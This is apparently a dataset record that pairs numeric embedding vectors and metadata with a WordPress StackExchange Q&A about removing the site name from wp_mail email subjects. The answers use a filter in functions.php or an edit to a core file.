0.025634765625,
-0.00726318359375,
-0.026611328125,
0.027984619140625,
-0.01418304443359375,
0.0012273788452148438,
0.005008697509765625,
0.004383087158203125,
-0.0029010772705078125,
-0.04022216796875,
-0.018951416015625,
0.0263214111328125,
-0.020660400390625,
0.026611328125,
0.0235595703125,
0.043670654296875,
-0.0328369140625,
0.02459716796875,
0.02410888671875,
0.0535888671875,
0.025543212890625,
0.0261383056640625,
-0.00693511962890625,
-0.053131103515625,
-0.035552978515625,
0.00502777099609375,
-0.031768798828125,
-0.006908416748046875,
-0.0006127357482910156,
-0.01523590087890625,
0.004665374755859375,
0.01099395751953125,
-0.036834716796875,
0.0057220458984375,
-0.018707275390625,
0.0265655517578125,
0.0249786376953125,
0.00356292724609375,
0.0004088878631591797,
-0.027679443359375,
-0.00493621826171875,
-0.002056121826171875,
-0.041168212890625,
0.01502227783203125,
-0.0163116455078125,
0.058868408203125,
0.0069732666015625,
0.051910400390625,
-0.008209228515625,
-0.0194549560546875,
0.00472259521484375,
-0.01380157470703125,
0.038116455078125,
0.004222869873046875,
-0.03582763671875,
-0.01430511474609375,
0.0215301513671875,
0.01207733154296875,
-0.020111083984375,
0.035919189453125,
-0.033843994140625,
-0.00640106201171875,
-0.0032939910888671875,
0.01546478271484375,
0.0248260498046875,
-0.0123443603515625,
0.016876220703125,
0.0202178955078125,
0.03167724609375,
0.0138702392578125,
0.0291595458984375,
0.042083740234375,
0.047637939453125,
0.002185821533203125,
0.036224365234375,
-0.00296783447265625,
0.030120849609375,
0.0009670257568359375,
0.00965118408203125,
-0.0230560302734375,
0.040924072265625,
-0.0006542205810546875,
0.040802001953125,
0.0150146484375,
-0.0238800048828125,
0.005580902099609375,
0.0238037109375,
-0.00989532470703125,
-0.00409698486328125,
-0.0136260986328125,
0.01708984375,
-0.0281524658203125,
0.01284027099609375,
0.0028934478759765625,
0.01401519775390625,
0.009033203125,
-0.0184173583984375,
0.0080718994140625,
0.00949859619140625,
-0.0071258544921875,
0.0023708343505859375,
0.03857421875,
-0.0043487548828125,
0.0262908935546875,
-0.006702423095703125,
-0.01000213623046875,
-0.0045013427734375,
0.0225067138671875,
-0.01512908935546875,
0.0237274169921875,
-0.022064208984375,
-0.01337432861328125,
-0.01058197021484375,
-0.023773193359375,
0.00814056396484375,
0.01180267333984375,
-0.0262298583984375,
-0.006511688232421875,
0.0160980224609375,
0.034332275390625,
-0.010345458984375,
0.013092041015625,
0.0027790069580078125,
-0.00836181640625,
0.011749267578125,
-0.0811767578125,
0.05462646484375,
-0.0579833984375,
0.032135009765625,
0.06787109375,
-0.021514892578125,
0.006946563720703125,
0.025238037109375,
0.00543975830078125,
0.052398681640625,
0.00485992431640625,
-0.00824737548828125,
0.01546478271484375,
-0.02294921875,
0.022979736328125,
0.0211334228515625,
-0.002033233642578125,
0.006481170654296875,
-0.0121612548828125,
-0.0191192626953125,
0.01415252685546875,
-0.0182342529296875,
0.04541015625,
-0.0254669189453125,
-0.038543701171875,
-0.014434814453125,
-0.007152557373046875,
-0.01169586181640625,
0.0087890625,
-0.0153656005859375,
0.0014095306396484375,
-0.00537109375,
-0.0550537109375,
-0.072021484375,
-0.056549072265625,
-0.06231689453125,
0.03729248046875,
0.0002532005310058594,
0.0227508544921875,
0.007720947265625,
0.05523681640625,
-0.0136871337890625,
-0.04437255859375,
-0.0007882118225097656,
-0.10357666015625,
-0.00927734375,
0.01221466064453125,
0.03558349609375,
-0.01363372802734375,
0.031707763671875,
0.003570556640625,
-0.03106689453125,
0.03765869140625,
-0.034576416015625,
-0.0229034423828125,
-0.0093231201171875,
0.00005906820297241211,
-0.010894775390625,
0.056182861328125,
0.025909423828125,
-0.009735107421875,
0.015777587890625,
-0.049560546875,
-0.00609588623046875,
-0.0095367431640625,
-0.040863037109375,
-0.060516357421875,
0.0029926300048828125,
0.01355743408203125,
-0.046356201171875,
0.01166534423828125,
0.007720947265625,
-0.01068878173828125,
0.053436279296875,
-0.043212890625,
-0.005092620849609375,
-0.006328582763671875,
-0.007343292236328125,
-0.036163330078125,
-0.0062408447265625,
-0.0175933837890625,
0.0181732177734375,
-0.01338958740234375,
0.00438690185546875,
-0.044952392578125,
0.06195068359375,
-0.08734130859375,
-0.051513671875,
0.045135498046875,
-0.0286102294921875,
-0.00922393798828125,
-0.01236724853515625,
-0.0225372314453125,
0.01165771484375,
0.0706787109375,
-0.0146484375,
-0.024444580078125,
0.0015888214111328125,
-0.0084686279296875,
-0.028411865234375,
0.03857421875,
-0.017059326171875,
-0.00006860494613647461,
-0.055816650390625,
0.04437255859375,
0.00791168212890625,
-0.0168609619140625,
-0.042633056640625,
-0.00787353515625,
-0.043487548828125,
-0.02294921875,
0.0126495361328125,
-0.01519012451171875,
-0.03558349609375,
0.03582763671875,
-0.059173583984375,
0.0247650146484375,
-0.007328033447265625,
-0.0234832763671875,
-0.078125,
-0.018646240234375,
-0.00782012939453125,
0.0413818359375,
0.01165771484375,
-0.023834228515625,
-0.0108642578125,
0.034393310546875,
0.0121917724609375,
0.0094451904296875,
-0.00908660888671875,
0.006031036376953125,
-0.0374755859375,
0.0035572052001953125,
-0.0173492431640625,
-0.025054931640625,
0.0198211669921875,
0.0230712890625,
-0.01209259033203125,
0.0782470703125,
-0.037384033203125,
0.015350341796875,
-0.0196533203125,
-0.0303497314453125,
0.0052337646484375,
-0.052459716796875,
-0.024169921875,
0.01177215576171875,
-0.0219573974609375,
0.0105133056640625,
-0.03082275390625,
-0.0014715194702148438,
0.00853729248046875,
-0.053466796875,
-0.003993988037109375,
0.015167236328125,
0.07818603515625,
0.01535797119140625,
0.0153656005859375,
0.01715087890625,
0.032379150390625,
0.041534423828125,
0.04376220703125,
-0.00716400146484375,
0.004913330078125,
-0.0340576171875,
0.038787841796875,
0.033660888671875,
0.020416259765625,
-0.027374267578125,
0.042572021484375,
-0.00939178466796875,
-0.0233306884765625,
0.03240966796875,
-0.0169677734375,
0.0150909423828125,
0.001194000244140625,
-0.01338958740234375,
-0.004062652587890625,
-0.01641845703125,
0.035003662109375,
0.0094451904296875,
-0.0017108917236328125,
-0.040863037109375,
-0.028045654296875,
0.00024700164794921875,
-0.048858642578125,
0.07635498046875,
0.02911376953125,
0.0079193115234375,
0.0484619140625,
0.0215301513671875,
0.00728607177734375,
-0.003009796142578125,
-0.0177459716796875,
-0.0167083740234375,
0.0219268798828125,
0.0193939208984375,
0.0005869865417480469,
0.0123291015625,
-0.0097198486328125,
0.05718994140625,
0.028350830078125,
-0.035400390625,
0.028106689453125,
0.0032482147216796875,
0.016387939453125,
0.0024929046630859375,
0.03375244140625,
0.01513671875,
-0.006374359130859375,
-0.00853729248046875,
0.0235443115234375,
0.00933074951171875,
-0.0007295608520507812,
-0.0163421630859375,
0.0277252197265625,
0.01157379150390625,
-0.00634002685546875,
0.033233642578125,
0.02783203125,
-0.01032257080078125,
0.04473876953125,
-0.0277862548828125,
0.0338134765625,
0.0168304443359375,
-0.0007348060607910156,
0.005924224853515625,
0.026763916015625,
0.01294708251953125,
-0.031280517578125,
0.008575439453125,
-0.029937744140625,
-0.049346923828125,
0.00931549072265625,
0.01532745361328125,
0.02362060546875,
0.04010009765625,
-0.007251739501953125,
0.0217132568359375,
-0.00815582275390625,
0.0030651092529296875,
0.006366729736328125,
-0.051544189453125,
0.022308349609375,
0.041229248046875,
-0.00909423828125,
-0.019073486328125,
-0.01641845703125,
0.033660888671875,
-0.0391845703125,
0.0174560546875,
0.04461669921875,
-0.0122833251953125,
-0.007843017578125,
-0.01617431640625,
-0.01800537109375,
-0.0196075439453125,
-0.00015413761138916016,
-0.044281005859375,
-0.0217437744140625,
0.0036525726318359375,
-0.00003790855407714844,
0.012115478515625,
0.00952911376953125,
0.004077911376953125,
-0.0168609619140625,
-0.00562286376953125,
0.0135345458984375,
0.01406097412109375,
0.00986480712890625,
-0.038055419921875,
-0.038421630859375,
-0.0029048919677734375,
-0.054229736328125,
-0.030303955078125,
-0.0797119140625,
-0.026092529296875,
-0.043853759765625,
0.01235198974609375,
0.005435943603515625,
0.0174407958984375,
-0.042205810546875,
-0.04803466796875,
-0.02093505859375,
0.036956787109375,
0.043609619140625,
0.0712890625,
0.01058197021484375,
0.0526123046875,
-0.0201873779296875,
0.0621337890625,
0.01861572265625,
0.041168212890625,
-0.0193634033203125,
-0.033782958984375,
-0.0017995834350585938,
-0.0158843994140625,
-0.0073089599609375,
0.01229095458984375,
-0.036651611328125,
0.0251617431640625,
0.10101318359375,
0.0026416778564453125,
0.006900787353515625,
-0.02850341796875,
0.005771636962890625,
-0.03985595703125,
0.052734375,
-0.06060791015625,
0.0010728836059570312,
-0.036224365234375,
-0.0137176513671875,
0.00026106834411621094,
-0.008453369140625,
-0.0421142578125,
0.031402587890625,
-0.0004303455352783203,
0.0212249755859375,
0.01415252685546875,
-0.06463623046875,
0.060791015625,
0.07928466796875,
0.022613525390625,
0.039764404296875,
0.0013065338134765625,
0.00833892822265625,
-0.00942230224609375,
0.061859130859375,
-0.052520751953125,
-0.041595458984375,
0.0236053466796875,
0.019561767578125,
-0.03594970703125,
-0.001949310302734375,
-0.0208587646484375,
0.0310211181640625,
0.0634765625,
0.0791015625,
-0.1116943359375,
0.035888671875,
0.00800323486328125,
0.002483367919921875,
0.0750732421875,
-0.03826904296875,
0.01435089111328125,
-0.06103515625,
0.1202392578125,
0.000644683837890625,
0.00817108154296875,
0.0360107421875,
-0.06439208984375,
-0.02032470703125,
-0.032623291015625,
0.01448822021484375,
-0.00077056884765625,
-0.028289794921875,
0.02044677734375,
0.0209197998046875,
0.0000050067901611328125,
-0.05108642578125,
-0.0290069580078125,
0.0046234130859375,
-0.005901336669921875,
-0.06268310546875,
0.0193634033203125,
-0.07537841796875,
0.042724609375,
0.029571533203125,
-0.0005774497985839844,
-0.0125579833984375,
0.0389404296875,
-0.0328369140625,
0.037200927734375,
0.0191802978515625,
-0.036956787109375,
-0.0168304443359375,
-0.014404296875,
0.0265045166015625,
0.029449462890625,
0.0233612060546875,
0.023681640625,
0.019439697265625,
-0.05657958984375,
-0.00893402099609375,
0.0284576416015625,
0.0728759765625,
-0.01297760009765625,
-0.0311431884765625,
0.032745361328125,
0.0093536376953125,
-0.00726318359375,
0.01261138916015625,
-0.024658203125,
0.0230865478515625,
0.05517578125,
-0.018646240234375,
-0.014495849609375,
0.0165557861328125,
0.0175323486328125,
-0.06768798828125,
0.04986572265625,
0.00429534912109375,
-0.00362396240234375,
-0.0002732276916503906,
0.0258636474609375,
-0.0506591796875,
-0.011260986328125,
-0.0140228271484375,
0.049346923828125,
-0.034698486328125,
0.0589599609375,
-0.058990478515625,
-0.023345947265625,
0.01751708984375,
0.06658935546875,
0.061798095703125,
0.0032482147216796875,
0.00414276123046875,
-0.003875732421875,
0.0697021484375,
0.051666259765625,
0.004180908203125,
-0.003459930419921875,
-0.022064208984375,
0.01398468017578125,
0.0108489990234375,
-0.046600341796875,
0.01141357421875,
-0.025726318359375,
-0.01849365234375,
-0.00020825862884521484,
-0.023101806640625,
-0.0275421142578125,
-0.003936767578125,
0.0204925537109375,
-0.0189056396484375,
-0.00510406494140625,
0.0003771781921386719,
-0.0391845703125,
-0.0225372314453125,
0.031036376953125,
0.0164031982421875,
-0.027984619140625,
-0.05340576171875,
-0.01401519775390625,
0.038360595703125,
0.0364990234375,
0.0010900497436523438,
0.01483154296875,
0.0196533203125,
-0.0012035369873046875,
-0.05377197265625,
-0.01351165771484375,
-0.01036834716796875,
-0.0286102294921875,
0.0248260498046875,
-0.005157470703125,
0.0280914306640625,
-0.044036865234375,
-0.014312744140625,
-0.003078460693359375,
0.038238525390625,
-0.01442718505859375,
-0.017974853515625,
0.0161895751953125,
0.024322509765625,
-0.00001990795135498047,
-0.0002918243408203125,
0.037139892578125,
0.0176239013671875,
0.042938232421875,
-0.016082763671875,
-0.041107177734375,
-0.00366973876953125,
0.0167236328125,
-0.007442474365234375,
-0.0099029541015625,
0.033172607421875,
-0.02105712890625,
-0.0419921875,
0.01483917236328125,
0.01052093505859375,
0.0247344970703125,
0.01386260986328125,
0.069580078125,
0.01145172119140625,
-0.005733489990234375,
-0.0025043487548828125,
0.0131988525390625,
0.017578125,
-0.01290130615234375,
-0.019256591796875,
-0.00667572021484375,
0.00565338134765625,
0.0233612060546875,
-0.00188446044921875,
0.0147247314453125,
-0.00899505615234375,
-0.0134735107421875,
0.00266265869140625,
-0.0093536376953125,
0.0169219970703125,
-0.034332275390625,
0.0085906982421875,
-0.0198822021484375,
0.01117706298828125,
0.0382080078125,
-0.0081787109375,
-0.007419586181640625,
-0.028533935546875,
0.09637451171875,
-0.0189666748046875,
0.0158843994140625,
0.005092620849609375,
-0.00859832763671875,
0.054168701171875,
0.0305633544921875,
0.016143798828125,
0.0261077880859375,
-0.0440673828125,
0.00897216796875,
-0.0477294921875,
-0.0731201171875,
0.029144287109375,
0.03839111328125,
-0.01763916015625,
0.00299072265625,
-0.003932952880859375,
0.01812744140625,
0.00476837158203125,
-0.03460693359375,
0.01522064208984375,
0.041259765625,
0.036834716796875,
0.026214599609375,
-0.07672119140625,
-0.03692626953125,
-0.0457763671875,
0.0335693359375,
0.033966064453125,
0.08135986328125,
-0.016021728515625,
0.046661376953125,
-0.06597900390625,
0.02203369140625,
-0.0191650390625,
-0.057525634765625,
0.08233642578125,
0.051971435546875,
-0.0204925537109375,
-0.0216064453125,
-0.04315185546875,
0.08660888671875,
-0.005321502685546875,
0.03424072265625,
0.0726318359375,
-0.013763427734375,
-0.00847625732421875,
-0.00626373291015625,
-0.017120361328125,
-0.0289306640625,
-0.005321502685546875,
0.004108428955078125,
-0.0009965896606445312,
0.0083160400390625,
-0.0069122314453125,
-0.020416259765625,
0.038970947265625,
-0.048553466796875,
0.027862548828125,
-0.0186309814453125,
0.001979827880859375,
-0.045501708984375,
0.016845703125,
-0.06805419921875,
0.00881195068359375,
0.04193115234375,
-0.0048675537109375,
0.0192108154296875,
0.0107269287109375,
0.003711700439453125,
0.03460693359375,
-0.033447265625,
0.017608642578125,
-0.01495361328125,
0.0335693359375,
-0.041534423828125,
-0.012939453125,
-0.007091522216796875,
0.015716552734375,
0.0200653076171875,
-0.0040283203125,
-0.023040771484375,
-0.01398468017578125,
-0.01194000244140625,
0.026947021484375,
-0.0105133056640625,
-0.02081298828125,
-0.071044921875,
-0.0132598876953125,
0.01226043701171875,
-0.005100250244140625,
-0.044097900390625,
0.01593017578125,
-0.0031642913818359375,
0.036041259765625,
-0.0360107421875,
-0.00047659873962402344,
0.0236663818359375,
0.040283203125,
-0.04443359375,
0.033050537109375,
-0.013458251953125,
-0.045623779296875,
0.003032684326171875,
0.056121826171875,
0.0673828125,
-0.03948974609375,
0.02825927734375,
0.09442138671875,
0.03851318359375,
0.13623046875,
-0.0032978057861328125,
-0.005062103271484375,
0.032257080078125,
-0.006866455078125,
-0.043670654296875,
-0.041229248046875,
0.01264190673828125,
-0.05096435546875,
-0.013702392578125,
-0.06298828125,
0.03802490234375,
0.041412353515625,
-0.044464111328125,
-0.120361328125,
0.0246429443359375,
-0.043670654296875,
-0.046539306640625,
-0.0305023193359375,
-0.030914306640625,
0.009979248046875,
0.0125885009765625,
-0.01165771484375,
-0.032440185546875,
-0.0489501953125,
0.03265380859375,
-0.0012569427490234375,
0.0272979736328125,
0.02008056640625,
0.0012950897216796875,
-0.037811279296875,
-0.0099945068359375,
-0.017578125,
-0.0257415771484375,
0.00914764404296875,
-0.0178070068359375,
0.0161895751953125,
0.038543701171875,
-0.043731689453125,
-0.06732177734375,
-0.025543212890625,
0.01013946533203125,
-0.00006890296936035156,
-0.0360107421875,
-0.005035400390625,
-0.018951416015625,
-0.001178741455078125,
0.034393310546875,
-0.00887298583984375,
-0.01230621337890625,
0.050811767578125,
-0.01959228515625,
-0.10595703125,
-0.014862060546875,
0.042755126953125,
-0.056854248046875,
-0.0101470947265625,
0.01146697998046875,
0.003215789794921875,
0.0013265609741210938,
-0.02423095703125,
0.0022068023681640625,
-0.01529693603515625,
-0.0171661376953125,
-0.038482666015625,
0.028533935546875,
-0.019256591796875,
0.039794921875,
-0.0274200439453125,
0.002689361572265625,
-0.034149169921875,
0.035614013671875,
0.0013113021850585938,
-0.054443359375,
-0.016937255859375,
-0.040008544921875,
0.0081939697265625,
0.025604248046875,
-0.0021343231201171875,
0.0631103515625,
-0.01546478271484375,
-0.01288604736328125,
0.01397705078125,
0.0193328857421875,
0.005413055419921875,
0.0177001953125,
-0.04888916015625,
0.045257568359375,
-0.0235443115234375,
0.034149169921875,
-0.032073974609375,
0.019378662109375,
-0.0179901123046875,
0.02703857421875,
-0.0257415771484375,
0.00860595703125,
0.0150299072265625,
-0.01268768310546875,
0.01104736328125,
0.0080413818359375,
-0.0217742919921875,
-0.04052734375,
0.047393798828125,
0.0316162109375,
-0.0020771026611328125,
0.037353515625
] |
c8f9324aa203dd5935bbe266196fc685f20caa67
|
Wordpress Stackexchange
Q: wp_mail - Remove sitename from email subject Can someone tell me how to remove site name from the email subject.
As of now my email subject looks like this:
[sitename] - Subject goes here
I want it to look like this:
Subject goes here
I checked the wp_mail() code. There is a wp_mail filter available.
Can someone tell me how to use that filter to alter my email subject?
A: Finally, I wrote some code and it worked very well.
I hope it helps.
Put this in your functions.php file
//remove sitename from email subject
add_filter('wp_mail', 'email_subject_remove_sitename');
function email_subject_remove_sitename($email) {
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$email['subject'] = str_replace("[".$blogname."] - ", "", $email['subject']);
$email['subject'] = str_replace("[".$blogname."]", "", $email['subject']);
return $email;
}
|
Q: wp_mail - Remove sitename from email subject Can someone tell me how to remove site name from the email subject.
As of now my email subject looks like this:
[sitename] - Subject goes here
I want it to look like this:
Subject goes here
I checked the wp_mail() code. There is a wp_mail filter available.
Can someone tell me how to use that filter to alter my email subject?
A: Finally, I wrote some code and it worked very well.
I hope it helps.
Put this in your functions.php file
//remove sitename from email subject
add_filter('wp_mail', 'email_subject_remove_sitename');
function email_subject_remove_sitename($email) {
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$email['subject'] = str_replace("[".$blogname."] - ", "", $email['subject']);
$email['subject'] = str_replace("[".$blogname."]", "", $email['subject']);
return $email;
}
A: That file didnt work for me I had to it in wp-includes/pluggable.php
if ( isset( $atts['message'] ) ) {
//$message = $atts['message'];
$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
$subject = str_replace("[".$blogname."] - ", "", $subject);
$subject = str_replace("[".$blogname."]", "", $subject);
}
|
wordpress
|
{
"language": "en",
"length": 160,
"provenance": "stackexchange_00019.jsonl.gz:437750",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116284"
}
|
[
0.007396697998046875,
-0.01027679443359375,
-0.01523590087890625,
0.036102294921875,
-0.017181396484375,
-0.05706787109375,
0.06439208984375,
-0.03759765625,
0.0087890625,
0.032135009765625,
0.0230712890625,
0.0017557144165039062,
0.0059661865234375,
-0.033172607421875,
-0.01528167724609375,
0.0010786056518554688,
-0.021087646484375,
0.0200347900390625,
-0.02099609375,
-0.026611328125,
0.0270233154296875,
-0.0279388427734375,
-0.05242919921875,
0.0027713775634765625,
-0.0243682861328125,
0.022186279296875,
0.125732421875,
-0.0248260498046875,
-0.00875091552734375,
-0.044677734375,
0.0024776458740234375,
0.00299072265625,
0.0250701904296875,
0.0400390625,
-0.057373046875,
0.016143798828125,
0.007686614990234375,
0.0026149749755859375,
0.00994873046875,
0.016265869140625,
0.0164337158203125,
-0.012786865234375,
-0.01097869873046875,
-0.0207977294921875,
0.0112152099609375,
-0.041748046875,
0.04095458984375,
-0.037750244140625,
0.006954193115234375,
0.01219940185546875,
0.007259368896484375,
0.033111572265625,
0.0233154296875,
-0.0039215087890625,
-0.0194244384765625,
-0.0135345458984375,
-0.0285797119140625,
0.053375244140625,
-0.0029144287109375,
0.0005717277526855469,
-0.005840301513671875,
0.04791259765625,
-0.00255584716796875,
0.016082763671875,
-0.017242431640625,
0.00923919677734375,
0.0010852813720703125,
-0.0006389617919921875,
-0.0266571044921875,
-0.00734710693359375,
0.024322509765625,
-0.0221710205078125,
-0.003353118896484375,
-0.0103607177734375,
-0.031646728515625,
0.0283203125,
-0.00911712646484375,
0.0023651123046875,
0.0249786376953125,
-0.01557159423828125,
-0.0032501220703125,
-0.0173797607421875,
-0.05841064453125,
-0.016571044921875,
0.050537109375,
0.042449951171875,
-0.01540374755859375,
-0.02508544921875,
-0.01444244384765625,
-0.017303466796875,
-0.0150299072265625,
0.0004658699035644531,
-0.030517578125,
-0.0117950439453125,
-0.01247406005859375,
-0.01546478271484375,
0.017486572265625,
0.040496826171875,
-0.02313232421875,
-0.04986572265625,
-0.00353240966796875,
-0.012725830078125,
-0.04949951171875,
-0.0004949569702148438,
-0.0180816650390625,
0.04888916015625,
0.0153656005859375,
0.0167236328125,
0.0007767677307128906,
0.005496978759765625,
-0.0026397705078125,
-0.03594970703125,
-0.0194244384765625,
-0.0268402099609375,
-0.0228729248046875,
0.00733184814453125,
-0.025543212890625,
0.0137939453125,
0.0181732177734375,
-0.00734710693359375,
0.00286102294921875,
0.028350830078125,
-0.01457977294921875,
-0.04156494140625,
0.0228118896484375,
0.0072784423828125,
-0.015289306640625,
-0.013519287109375,
0.02252197265625,
-0.0271148681640625,
-0.041595458984375,
0.0294036865234375,
0.056243896484375,
0.031890869140625,
0.022003173828125,
-0.012969970703125,
0.023590087890625,
0.0119171142578125,
-0.019073486328125,
0.00917816162109375,
0.037109375,
-0.02081298828125,
-0.0201568603515625,
-0.0018587112426757812,
0.0191650390625,
0.0208282470703125,
0.01157379150390625,
0.01165771484375,
0.01438140869140625,
0.00884246826171875,
-0.009735107421875,
-0.01172637939453125,
0.02691650390625,
0.0257720947265625,
-0.0205841064453125,
-0.0098114013671875,
0.0165557861328125,
-0.031524658203125,
-0.00856781005859375,
-0.04736328125,
0.038726806640625,
-0.020751953125,
-0.0264892578125,
-0.0030040740966796875,
-0.03936767578125,
0.0372314453125,
-0.050262451171875,
-0.00136566162109375,
0.012969970703125,
-0.07421875,
0.03289794921875,
0.01256561279296875,
0.024017333984375,
-0.0007405281066894531,
0.01067352294921875,
0.015777587890625,
0.00513458251953125,
-0.0007948875427246094,
-0.01015472412109375,
0.03350830078125,
0.00222015380859375,
-0.040374755859375,
-0.02728271484375,
0.006755828857421875,
-0.0594482421875,
0.006443023681640625,
0.006610870361328125,
-0.0005731582641601562,
0.003314971923828125,
-0.0017833709716796875,
0.08123779296875,
0.0345458984375,
0.004741668701171875,
-0.0357666015625,
-0.003345489501953125,
-0.048553466796875,
0.0083770751953125,
-0.017669677734375,
-0.00860595703125,
0.04046630859375,
-0.0121002197265625,
-0.00051116943359375,
0.0440673828125,
0.0025157928466796875,
0.0223236083984375,
0.036102294921875,
-0.009765625,
0.0343017578125,
-0.037994384765625,
-0.0014495849609375,
0.0307769775390625,
0.00911712646484375,
-0.035400390625,
-0.00382232666015625,
-0.0240020751953125,
-0.01160430908203125,
0.01324462890625,
0.0054931640625,
-0.01187896728515625,
0.0267791748046875,
-0.0251617431640625,
-0.018890380859375,
-0.033203125,
-0.00666046142578125,
0.036529541015625,
-0.0071868896484375,
-0.033233642578125,
-0.018768310546875,
-0.0173492431640625,
0.00007933378219604492,
-0.047515869140625,
0.059478759765625,
0.0287322998046875,
0.052978515625,
-0.00650787353515625,
0.0226593017578125,
0.0273895263671875,
-0.0189208984375,
-0.001255035400390625,
0.01393890380859375,
0.031097412109375,
0.0386962890625,
0.00014162063598632812,
-0.005535125732421875,
0.052703857421875,
0.00298309326171875,
0.031707763671875,
-0.0130615234375,
0.02630615234375,
0.044342041015625,
-0.02130126953125,
-0.01154327392578125,
0.01322174072265625,
-0.054534912109375,
0.01325225830078125,
0.0152740478515625,
0.00653076171875,
-0.0054168701171875,
-0.0025081634521484375,
0.0019178390502929688,
0.0158843994140625,
-0.01010894775390625,
-0.035858154296875,
-0.0007014274597167969,
0.0002689361572265625,
0.0241546630859375,
0.00011676549911499023,
0.00106048583984375,
-0.034454345703125,
0.0246124267578125,
0.0263214111328125,
-0.03228759765625,
-0.003376007080078125,
0.053070068359375,
0.0204010009765625,
0.03802490234375,
-0.0228118896484375,
-0.02337646484375,
0.00437164306640625,
0.034088134765625,
-0.042449951171875,
-0.03240966796875,
0.045806884765625,
-0.015838623046875,
0.0274658203125,
-0.032684326171875,
0.046844482421875,
-0.034698486328125,
0.0013380050659179688,
-0.0115814208984375,
0.005802154541015625,
0.0204315185546875,
-0.0298919677734375,
0.0309906005859375,
-0.003566741943359375,
-0.0250701904296875,
-0.020721435546875,
-0.0282745361328125,
0.039703369140625,
-0.0350341796875,
0.0121307373046875,
0.052703857421875,
0.0003216266632080078,
-0.004100799560546875,
0.007480621337890625,
-0.0295257568359375,
-0.006103515625,
-0.00872039794921875,
-0.006175994873046875,
0.008636474609375,
-0.0419921875,
0.061981201171875,
0.01001739501953125,
0.02349853515625,
-0.0184478759765625,
-0.05718994140625,
-0.0082244873046875,
-0.00714874267578125,
-0.07489013671875,
-0.040771484375,
-0.0297698974609375,
-0.003490447998046875,
-0.03643798828125,
0.0197296142578125,
-0.00789642333984375,
0.038055419921875,
0.0170745849609375,
-0.00865936279296875,
0.043609619140625,
-0.055419921875,
-0.09857177734375,
-0.050537109375,
-0.09161376953125,
-0.01279449462890625,
-0.00376129150390625,
0.014739990234375,
0.0021305084228515625,
0.045196533203125,
0.01120758056640625,
-0.006591796875,
0.03814697265625,
0.0184326171875,
-0.0036029815673828125,
-0.01396942138671875,
-0.023651123046875,
-0.021697998046875,
-0.035308837890625,
0.002689361572265625,
0.01904296875,
-0.020965576171875,
0.0264129638671875,
0.0034236907958984375,
0.006366729736328125,
0.04803466796875,
0.02655029296875,
-0.00704193115234375,
0.0032291412353515625,
-0.01352691650390625,
-0.019317626953125,
-0.07659912109375,
-0.007228851318359375,
0.007415771484375,
-0.028472900390625,
0.02642822265625,
0.007175445556640625,
-0.0234832763671875,
0.0107574462890625,
0.00965118408203125,
0.0384521484375,
-0.01251220703125,
0.037567138671875,
-0.00801849365234375,
0.02093505859375,
0.00768280029296875,
0.02923583984375,
-0.0246734619140625,
0.0203704833984375,
-0.022735595703125,
-0.019439697265625,
-0.0084991455078125,
-0.0018815994262695312,
-0.00566864013671875,
-0.006977081298828125,
-0.01482391357421875,
-0.06903076171875,
0.06561279296875,
-0.044403076171875,
-0.013580322265625,
-0.03662109375,
-0.035186767578125,
0.01331329345703125,
0.1165771484375,
-0.020660400390625,
-0.041168212890625,
0.005741119384765625,
0.025604248046875,
-0.01412200927734375,
-0.036102294921875,
0.015716552734375,
-0.032867431640625,
-0.1265869140625,
0.0462646484375,
-0.0239715576171875,
-0.0093231201171875,
-0.006618499755859375,
-0.07611083984375,
-0.03607177734375,
-0.08056640625,
0.036529541015625,
-0.01415252685546875,
0.0299224853515625,
-0.0142669677734375,
-0.0133209228515625,
-0.01190185546875,
-0.029541015625,
-0.01486968994140625,
-0.0209197998046875,
-0.0223541259765625,
0.0296173095703125,
0.020782470703125,
-0.044036865234375,
0.051483154296875,
-0.0301666259765625,
0.0208282470703125,
0.0202178955078125,
0.00617218017578125,
0.006267547607421875,
-0.0278778076171875,
0.0199432373046875,
0.031463623046875,
0.0049896240234375,
-0.0014295578002929688,
0.005405426025390625,
0.0031585693359375,
-0.045257568359375,
0.0328369140625,
0.00021731853485107422,
0.0262908935546875,
0.045745849609375,
-0.036376953125,
-0.027069091796875,
-0.01458740234375,
-0.0209197998046875,
-0.01229095458984375,
-0.01274871826171875,
-0.0221710205078125,
-0.0081634521484375,
-0.03314208984375,
0.054931640625,
0.0200042724609375,
-0.01727294921875,
0.007366180419921875,
0.045440673828125,
0.003742218017578125,
-0.0294036865234375,
-0.03753662109375,
0.031982421875,
0.03643798828125,
0.006313323974609375,
0.048797607421875,
0.00975799560546875,
-0.0197601318359375,
0.061248779296875,
0.003963470458984375,
0.0026493072509765625,
-0.0019369125366210938,
0.0439453125,
0.025482177734375,
0.000873565673828125,
0.0133819580078125,
0.0147705078125,
0.0006251335144042969,
-0.005359649658203125,
0.004146575927734375,
-0.0283660888671875,
0.036865234375,
0.0192718505859375,
-0.0027523040771484375,
0.0306549072265625,
0.00394439697265625,
-0.02728271484375,
0.0257110595703125,
0.003742218017578125,
-0.040924072265625,
0.0006604194641113281,
-0.0010251998901367188,
-0.037322998046875,
-0.0117340087890625,
0.01654052734375,
-0.057861328125,
-0.035919189453125,
-0.050018310546875,
0.01372528076171875,
-0.0181121826171875,
-0.008636474609375,
-0.0030765533447265625,
-0.01435089111328125,
0.06341552734375,
0.0374755859375,
0.00423431396484375,
-0.038787841796875,
-0.00952911376953125,
0.012786865234375,
-0.022674560546875,
0.00463104248046875,
0.040618896484375,
0.035919189453125,
0.0118865966796875,
0.0102081298828125,
-0.030853271484375,
0.032745361328125,
-0.031890869140625,
-0.005908966064453125,
-0.01232147216796875,
-0.0110015869140625,
0.046905517578125,
0.0136871337890625,
-0.020172119140625,
0.036865234375,
-0.013702392578125,
0.0016679763793945312,
0.04583740234375,
0.011383056640625,
0.0085601806640625,
0.00661468505859375,
-0.019195556640625,
0.004024505615234375,
0.03961181640625,
-0.019256591796875,
-0.00676727294921875,
0.027252197265625,
0.0305023193359375,
-0.0157318115234375,
-0.005069732666015625,
-0.011505126953125,
-0.0183563232421875,
-0.016815185546875,
0.0133056640625,
-0.03778076171875,
-0.033203125,
-0.02752685546875,
-0.02349853515625,
-0.0002551078796386719,
-0.006866455078125,
0.01485443115234375,
-0.037689208984375,
-0.0241241455078125,
-0.0343017578125,
0.0335693359375,
-0.005725860595703125,
-0.035369873046875,
